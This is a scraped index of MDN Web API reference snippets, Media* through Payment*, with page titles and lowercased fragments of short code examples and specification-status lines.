returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.forEach() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.get() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.has() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.keys() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.values() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaList.mediaText - Web APIs
const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status comment css object model (cssom)the definition of 'mediatext' in that specification.
MediaList - Web APIs
WebAPIMediaList
const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status comment css object model (cssom)the definition of 'medialist' in that specification.
MediaRecorder() - Web APIs
} } specifications specification status comment mediastream recording working draft initial definition ...
MediaRecorder - Web APIs
specifications specification status comment mediastream recording working draft initial definition ...
MediaStream() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification.
MediaStream: addtrack event - Web APIs
et stream = new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream = new mediastream(); stream.onaddtrack = (event) => { console.log(`new ${event.track.kind} track added`); }; specifications specification status media capture and streamsthe definition of 'addtrack' in that specification.
MediaStream: removetrack event - Web APIs
ream = new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream = new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and streamsthe definition of 'removetrack' in that specification.
MediaStream - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification.
MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() - Web APIs
example var ac = new audiocontext(); var mydestination = new mediastreamaudiodestinationnode(ac); specifications specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MediaStreamAudioDestinationNode.stream - Web APIs
example specifications specification status comment web audio apithe definition of 'stream' in that specification.
MediaStreamAudioDestinationNode - Web APIs
example specification specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MediaStreamAudioSourceNode() - Web APIs
} var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode()' in that specification.
MediaStreamAudioSourceNode.mediaStream - Web APIs
examples const audioctx = new window.audiocontext(); let options = { mediastream : stream } let source = new mediastreamaudiosourcenode(audioctx, options); console.log(source.mediastream); specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode.mediastream' in that specification.
MediaStreamAudioSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'mediastreamaudiosourcenode' in that specification.
MediaStreamAudioSourceOptions.mediaStream - Web APIs
example specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions.mediastream' in that specification.
MediaStreamAudioSourceOptions - Web APIs
specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions' in that specification.
MediaStreamTrackAudioSourceNode() - Web APIs
)[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode()' in that specification.
MediaStreamTrackAudioSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode' in that specification.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
)[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MediaStreamTrackAudioSourceOptions - Web APIs
specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions' in that specification.
MediaStreamTrackEvent - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent' in that specification.
MediaStream Image Capture API - Web APIs
specifications specification status comment mediastream image capture working draft initial definition.
MediaStream Recording API - Web APIs
specifications specification status comment mediastream recording working draft initial definition ...
MediaTrackConstraints - Web APIs
specifications specification status comment media capture and streams candidate recommendation initial definition.
MediaTrackSupportedConstraints - Web APIs
because of the way interface definitions in webidl work, if a constraint is requested but not supported, no error will occur.
Using the Media Capabilities API - Web APIs
there are a few reasons why an error might occur, including: the specified type isn't one of the two permtited values: file or media-source the contenttype given is the error can be due to the type not being one of the two possible values, the contenttype not being a valid codec mime type, or invalid or omitted definitions required in the videoconfiguration.
Media Capabilities API - Web APIs
specifications specification status comment media capabilities draft initial definition ...
Media Session API - Web APIs
*/ }) .catch(error => { console.log(error) }); }); specifications specification status comment media session standard draft initial definition.
MessageChannel() - Web APIs
specifications specification status comment html living standardthe definition of 'messagechannel()' in that specification.
MessageChannel.port1 - Web APIs
); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel - Web APIs
specifications specification status comment html living standardthe definition of 'message channels' in that specification.
MessageEvent.data - Web APIs
WebAPIMessageEventdata
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); }; specifications specification status comment html living standardthe definition of 'messageevent: data' in that specification.
MessageEvent.lastEventId - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification.
MessageEvent.origin - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html living standardthe definition of 'messageevent: origin' in that specification.
MessageEvent.source - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html living standardthe definition of ' messageevent: source' in that specification.
MessagePort.close() - Web APIs
WebAPIMessagePortclose
channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MessagePort: message event - Web APIs
w messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.start(); }); note that the listener must call messageport.start() befo...
MessagePort: messageerror event - Web APIs
w messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { ...
MessagePort.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
MessagePort.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
MessagePort.postMessage() - Web APIs
specifications specification status comment html living standardthe definition of 'postmessage()' in that specification.
MessagePort.start() - Web APIs
WebAPIMessagePortstart
entlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html living standardthe definition of 'start()' in that specification.
MessagePort - Web APIs
specifications specification status comment html living standardthe definition of 'message ports' in that specification.
MutationEvent - Web APIs
}, false); the event object is passed to the listener in a mutationevent (see its definition in the specification) for most events, and mutationnameevent for domattributenamechanged and domelementnamechanged.
MutationObserver.MutationObserver() - Web APIs
specifications specification status comment domthe definition of 'mutationobserver()' in that specification.
MutationObserver.disconnect() - Web APIs
*/ observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver.disconnect()' in that specification.
MutationObserver.takeRecords() - Web APIs
specifications specification status comment domthe definition of 'mutationobserver.takerecords()' in that specification.
MutationObserver - Web APIs
attribute was modified.'); } } }; // create an observer instance linked to the callback function const observer = new mutationobserver(callback); // start observing the target node for configured mutations observer.observe(targetnode, config); // later, you can stop observing observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver' in that specification.
MutationRecord - Web APIs
note that for this to work as expected, attributeoldvalue or characterdataoldvalue must be set to true in the corresponding mutationobserverinit parameter of the mutationobserver observe method specifications specification status comment domthe definition of 'mutationrecord' in that specification.
NDEFMessage.records - Web APIs
specifications specification status comment web nfc, dnefmessage.records draft initial definition.
NDEFMessage - Web APIs
specifications specification status comment web nfc, ndefmessage draft initial definition.
NDEFReader() - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
NDEFReader.onerror - Web APIs
specifications specification status comment web nfc, ndefreader.onerror draft initial definition.
NDEFReader.onreading - Web APIs
specifications specification status comment web nfc, ndefreader.onreadig draft initial definition.
NDEFReader.scan() - Web APIs
WebAPINDEFReaderscan
specifications specification status comment web nfc, scan() draft initial definition.
NDEFReader - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
NDEFReadingEvent - Web APIs
specifications specification status comment web nfc, ndefreadingevent draft initial definition.
NDEFRecord.data - Web APIs
WebAPINDEFRecorddata
specifications specification status comment web nfc, ndefrecord.data draft initial definition.
NDEFRecord.encoding - Web APIs
specifications specification status comment web nfc, ndefrecord.encoding draft initial definition.
NDEFRecord.id - Web APIs
WebAPINDEFRecordid
specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFRecord.lang - Web APIs
WebAPINDEFRecordlang
specifications specification status comment web nfc, ndefrecord.lang draft initial definition.
NDEFRecord.mediaType - Web APIs
specifications specification status comment web nfc, ndefrecord.mediatype draft initial definition.
NDEFRecord.recordType - Web APIs
specifications specification status comment web nfc, ndefrecord.recordtype draft initial definition.
NDEFRecord.toRecords() - Web APIs
specifications specification status comment web nfc, ndefrecord.torecords() draft initial definition.
NDEFRecord - Web APIs
specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFWriter() - Web APIs
specifications specification status comment web nfc, ndefwriter draft initial definition.
NDEFWriter - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
Navigator.credentials - Web APIs
}; specifications specification status comment credential management level 1 working draft initial definition.
Navigator.mediaCapabilities - Web APIs
'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilities draft initial definition ...
Navigator.permissions - Web APIs
}); specification specification status comment permissions working draft initial definition.
Navigator.registerContentHandler() - Web APIs
specifications specification status comment html 5.2the definition of 'registercontenthandler()' in that specification.
Navigator.registerProtocolHandler() - Web APIs
see the screenshot below for an example on google.co.uk: specifications specification status comment html living standardthe definition of 'registerprotocolhandler()' in that specification.
Navigator.share() - Web APIs
WebAPINavigatorshare
files: filesarray })) { navigator.share({ files: filesarray, title: 'pictures', text: 'our pictures.', }) .then(() => console.log('share was successful.')) .catch((error) => console.log('sharing failed', error)); } else { console.log(`your system doesn't support sharing files.`); } specifications specification status comment web share apithe definition of 'share()' in that specification.
Navigator.vendor - Web APIs
WebAPINavigatorvendor
specifications specification status comment html living standardthe definition of 'navigatorid: vendor' in that specification.
Navigator.wakeLock - Web APIs
syntax const wakelock = navigator.wakelock; specifications specification status comment screen wake lock api editor's draft initial definition ...
Navigator - Web APIs
WebAPINavigator
specifications specification status comment html living standardthe definition of 'the navigator object' in that specification.
NavigatorOnLine - Web APIs
specifications specification status html living standardthe definition of 'navigatoronline' in that specification.
NavigatorStorage - Web APIs
specifications specification status comment storage living standard initial definition.
Node.baseURI - Web APIs
WebAPINodebaseURI
specifications specification status comment domthe definition of 'node: baseuri' in that specification.
Node.hasChildNodes() - Web APIs
ototype.haschildnodes || function() { return !!this.firstchild; } })(node.prototype); there are various ways to determine whether the node has a child node: node.haschildnodes() node.firstchild != null (or just node.firstchild) node.childnodes && node.childnodes.length (or node.childnodes.length > 0) specifications specification status comment domthe definition of 'node: haschildnodes' in that specification.
Node.isDefaultNamespace() - Web APIs
example var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var el = document.getelementsbytagnamens(xulns, 'textbox')[0]; alert(el.isdefaultnamespace(xulns)); // true specifications specification status comment domthe definition of 'node: isdefaultnamespace' in that specification.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
t.getelementsbytagname("div"); output.innerhtml += "div 0 equals div 0: " + divlist[0].isequalnode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 equals div 1: " + divlist[0].isequalnode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 equals div 2: " + divlist[0].isequalnode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node.isequalnode' in that specification.
Node.lookupNamespaceURI() - Web APIs
specifications specification status comment domthe definition of 'node: lookupnamespaceuri' in that specification.
Node.nodeName - Web APIs
WebAPINodenodeName
specifications specification status comment domthe definition of 'nodename' in that specification.
Node.nodeValue - Web APIs
WebAPINodenodeValue
specifications specification status comment domthe definition of 'node: nodevalue' in that specification.
Node.normalize() - Web APIs
WebAPINodenormalize
ld( document.createtextnode("part 2 ") ); // at this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].textcontent === "part 1 " // wrapper.childnodes[1].textcontent === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].textcontent === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in that specification.
Node.ownerDocument - Web APIs
example // given a node "p", get the top-level html // child of the document object var d = p.ownerdocument; var html = d.documentelement; specifications specification status comment domthe definition of 'node: ownerdocument' in that specification.
Node.parentNode - Web APIs
WebAPINodeparentNode
specifications specification status comment domthe definition of 'node: parentnode' in that specification.
Node.removeChild() - Web APIs
WebAPINoderemoveChild
></div> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // this first call correctly removes the node let garbage = top.removechild(nested); // throws uncaught notfounderror garbage = top.removechild(nested); </script> specifications specification status comment domthe definition of 'node: removechild' in that specification.
Node.replaceChild() - Web APIs
WebAPINodereplaceChild
a reference to the existing node to be replaced var sp2 = document.getelementbyid("childspan"); var parentdiv = sp2.parentnode; // replace existing node sp2 with the new span element sp1 parentdiv.replacechild(sp1, sp2); // result: // <div> // <span id="newspan">new replacement span element.</span> // </div> specifications specification status comment domthe definition of 'node: replacechild' in that specification.
Node.textContent - Web APIs
WebAPINodetextContent
or set the element's text content: document.getelementbyid('diva').textcontent = 'this text is different!'; // the html for diva is now: // <div id="diva">this text is different!</div> specifications specification status comment domthe definition of 'node.textcontent' in that specification.
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
specifications specification status comment web idlthe definition of 'foreach' in that specification.
NodeList.item() - Web APIs
WebAPINodeListitem
alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that specification.
NodeList.length - Web APIs
WebAPINodeListlength
// all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification.
Notification.actions - Web APIs
specifications specification status comment notifications apithe definition of 'actions' in that specification.
Notification.body - Web APIs
WebAPINotificationbody
examples function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle, options); console.log(n.body); } specifications specification status comment notifications apithe definition of 'body' in that specification.
Notification.close() - Web APIs
note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay since this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown.
Notification.data - Web APIs
WebAPINotificationdata
var options = { body: 'do you like my body?', data: 'i like peas.' } var n = new notification('test notification',options); console.log(n.data) // should return 'i like peas.' specifications specification status comment notifications apithe definition of 'data' in that specification.
Notification.dir - Web APIs
WebAPINotificationdir
var options = { body: 'do you like my body?', dir: 'rtl' } var n = new notification('test notification',options); console.log(n.dir) // should return 'rtl' specifications specification status comment notifications apithe definition of 'dir' in that specification.
Notification.icon - Web APIs
WebAPINotificationicon
var notification = new notification('to do list', { body: text, icon: img }); specifications specification status comment notifications apithe definition of 'icon' in that specification.
Notification.image - Web APIs
specifications specification status comment notifications apithe definition of 'image' in that specification.
Notification.lang - Web APIs
WebAPINotificationlang
var options = { body: 'do you like my body?', lang: 'en-us' } var n = new notification('test notification',options); console.log(n.lang) // should return 'en-us' specifications specification status comment notifications apithe definition of 'lang' in that specification.
Notification.onclick - Web APIs
er to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.preventdefault(); // prevent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification.
Notification.permission - Web APIs
} specifications specification status comment notifications apithe definition of 'permission' in that specification.
Notification.renotify - Web APIs
var options = { body: 'do you like my body?', renotify: true } var n = new notification('test notification',options); console.log(n.renotify) // should log true specifications specification status comment notifications apithe definition of 'renotify' in that specification.
Notification.requireInteraction - Web APIs
specifications specification status comment notifications apithe definition of 'requireinteraction' in that specification.
Notification.silent - Web APIs
var options = { body: 'do you like my body?', silent: true } var n = new notification('test notification', options); console.log(n.silent) // should log true specifications specification status comment notifications apithe definition of 'silent' in that specification.
Notification.tag - Web APIs
WebAPINotificationtag
specifications specification status comment notifications apithe definition of 'tag' in that specification.
Notification.timestamp - Web APIs
var dts = math.floor(date.now()); var options = { body: 'do you like my body?', timestamp: dts } var n = new notification('test notification',options); console.log(n.timestamp) // should log original timestamp specifications specification status comment notifications apithe definition of 'timestamp' in that specification.
Notification.title - Web APIs
examples function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); console.log(n.title) } specifications specification status comment notifications apithe definition of 'title' in that specification.
Notification.vibrate - Web APIs
var options = { body: 'do you like my body?', vibrate: [200, 100, 200] } var n = new notification('test notification',options); console.log(n.vibrate) // should log [200,100,200] specifications specification status comment notifications apithe definition of 'vibrate' in that specification.
NotificationEvent.action - Web APIs
otification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'action' in that specification.
NotificationEvent.notification - Web APIs
type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
NotificationEvent - Web APIs
type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notificationevent' in that specification.
Using the Notifications API - Web APIs
n.close(); } }); note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay (on modern browsers) since this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown.
Notifications API - Web APIs
first, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the notification.requestpermission() method.
OfflineAudioCompletionEvent - Web APIs
specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
OfflineAudioContext.OfflineAudioContext() - Web APIs
for a full working example, see our offline-audio-context-promise github repo (see the source code too.) specifications specification status comment web audio apithe definition of 'offlineaudiocontext()' in that specification.
OfflineAudioContext: complete event - Web APIs
set up the event handler using the offlineaudiocontext.oncomplete property: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
OfflineAudioContext.oncomplete - Web APIs
offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'oncomplete' in that specification.
OfflineAudioContext.startRendering() - Web APIs
art(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'startrendering()' in that specification.
OffscreenCanvas.convertToBlob() - Web APIs
offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications specification status comment html living standardthe definition of 'offscreencanvas: converttoblob' in that specification.
OffscreenCanvas.getContext() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); gl; // webglrenderingcontext gl.canvas; // offscreencanvas specifications specification status comment html living standardthe definition of 'offscreencanvas.getcontext()' in that specification.
OffscreenCanvas.height - Web APIs
syntax var pxl = offscreen.height; offscreen.height = pxl; examples creating a new offscreen canvas and returning or setting the height of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.height; // 256 offscreen.height = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.height' in that specification.
OffscreenCanvas.transferToImageBitmap() - Web APIs
offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } specifications specification status comment html living standardthe definition of 'offscreencanvas.transfertoimagebitmap()' in that specification.
OffscreenCanvas.width - Web APIs
syntax var pxl = offscreen.width; offscreen.width = pxl; examples creating a new offscreen canvas and returning or setting the width of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.width; // 256 offscreen.width = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.width' in that specification.
OffscreenCanvas - Web APIs
requestanimationframe(render); } requestanimationframe(render); }; specifications specification status comment html living standardthe definition of 'offscreencanvas' in that specification.
OscillatorNode.detune - Web APIs
dow.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.detune.setvalueattime(100, audioctx.currenttime); // value in cents oscillator.start(); specifications specification status comment web audio apithe definition of 'detune' in that specification.
OscillatorNode.frequency - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'frequency' in that specification.
OscillatorNode.onended - Web APIs
specifications specification status comment web audio apithe definition of 'onended' in that specification.
OscillatorNode.start() - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'start' in that specification.
OscillatorNode.stop() - Web APIs
io api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(audioctx.destination); oscillator.start(); oscillator.stop(audioctx.currenttime + 2); // stop 2 seconds after the current time specifications specification status comment web audio apithe definition of 'stop' in that specification.
OscillatorNode.type - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'type' in that specification.
Page Visibility API - Web APIs
//startsimulation and pausesimulation defined elsewhere function handlevisibilitychange() { if (document.hidden) { pausesimulation(); } else { startsimulation(); } } document.addeventlistener("visibilitychange", handlevisibilitychange, false); specifications specification status comment page visibility (second edition) recommendation initial definition.
PannerNode.PannerNode() - Web APIs
example var ctx = new audiocontext(); var options = { positionx : 1, maxdistance: 5000 } var mypanner = new pannernode(ctx, options); specifications specification status comment web audio apithe definition of 'pannernode()' in that specification.
PannerNode.coneInnerAngle - Web APIs
osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'coneinnerangle' in that specification.
PannerNode.coneOuterAngle - Web APIs
osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'coneouterangle' in that specification.
PannerNode.coneOuterGain - Web APIs
osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'coneoutergain' in that specification.
PannerNode.orientationX - Web APIs
osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'orientationx' in that specification.
PannerNode.orientationY - Web APIs
osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'orientationy' in that specification.
PannerNode.orientationZ - Web APIs
osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'orientationz' in that specification.
PannerNode.positionX - Web APIs
(context); const panner = new pannernode(context); panner.positionx.setvalueattime(-1, context.currenttime + 1); panner.positionx.setvalueattime(1, context.currenttime + 2); panner.positionx.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positionx' in that specification.
PannerNode.positionY - Web APIs
w pannernode(context); panner.panningmodel = 'hrtf'; panner.positiony.setvalueattime(1, context.currenttime + 1); panner.positiony.setvalueattime(-1, context.currenttime + 2); panner.positiony.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positiony' in that specification.
PannerNode.positionZ - Web APIs
w pannernode(context); panner.panningmodel = 'hrtf'; panner.positionz.setvalueattime(1, context.currenttime + 1); panner.positionz.setvalueattime(-1, context.currenttime + 2); panner.positionz.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positionz' in that specification.
PannerNode.setVelocity() - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
PasswordCredential.additionalData - Web APIs
{ var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.idName - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.passwordName - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Path2D - Web APIs
WebAPIPath2D
specifications specification status comment html living standardthe definition of 'path2d' in that specification.
PaymentCurrencyAmount.currency - Web APIs
let itemprice = { currency: "usd", value: "42.95" }; specifications specification status comment payment request apithe definition of 'paymentcurrencyamount.currency' in that specification.
PaymentCurrencyAmount.value - Web APIs
specifications specification status comment payment request apithe definition of 'paymentcurrencyamount.value' in that specification.
PaymentRequest: merchantvalidation event - Web APIs
related events payerdetailchange, paymentmethodchange, shippingaddresschange, and shippingoptionchange specifications specification status comment payment request apithe definition of 'merchantvalidation' in that specification.
PaymentRequest: paymentmethodchange event - Web APIs
related events merchantvalidation, shippingaddresschange, shippingoptionchange, and payerdetailchange specifications specification status comment payment request apithe definition of 'paymentmethodchange' in that specification.
PaymentResponse.details - Web APIs
// payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.methodName - Web APIs
// payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.payerEmail - Web APIs
syntax var payeremail = paymentresponse.payeremail; specifications specification status comment payment request api candidate recommendation initial definition.
PayerResponse.payerPhone - Web APIs
syntax var payerphone = paymentresponse.payerphone; specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse: payerdetailchange event - Web APIs
} specifications specification status comment payment request apithe definition of 'payerdetailchange event' in that specification.
PaymentValidationErrors - Web APIs
example specifications specification status comment payment request api candidate recommendation initial definition.
Payment processing concepts - Web APIs
specifications specification status comment payment request api candidate recommendation initial definition.
Using the Payment Request API - Web APIs
for demo purposes: return { id: 'order-123', displayitems: [ { label: 'example item', amount: {currency: 'usd', value: '1.00'} } ], total: { label: 'total', amount: {currency: 'usd', value: '1.00'} } }; } starting the payment process once the paymentrequest object has been created, you call the paymentrequest.show() method on it to initiate the payment request.
Pbkdf2Params - Web APIs
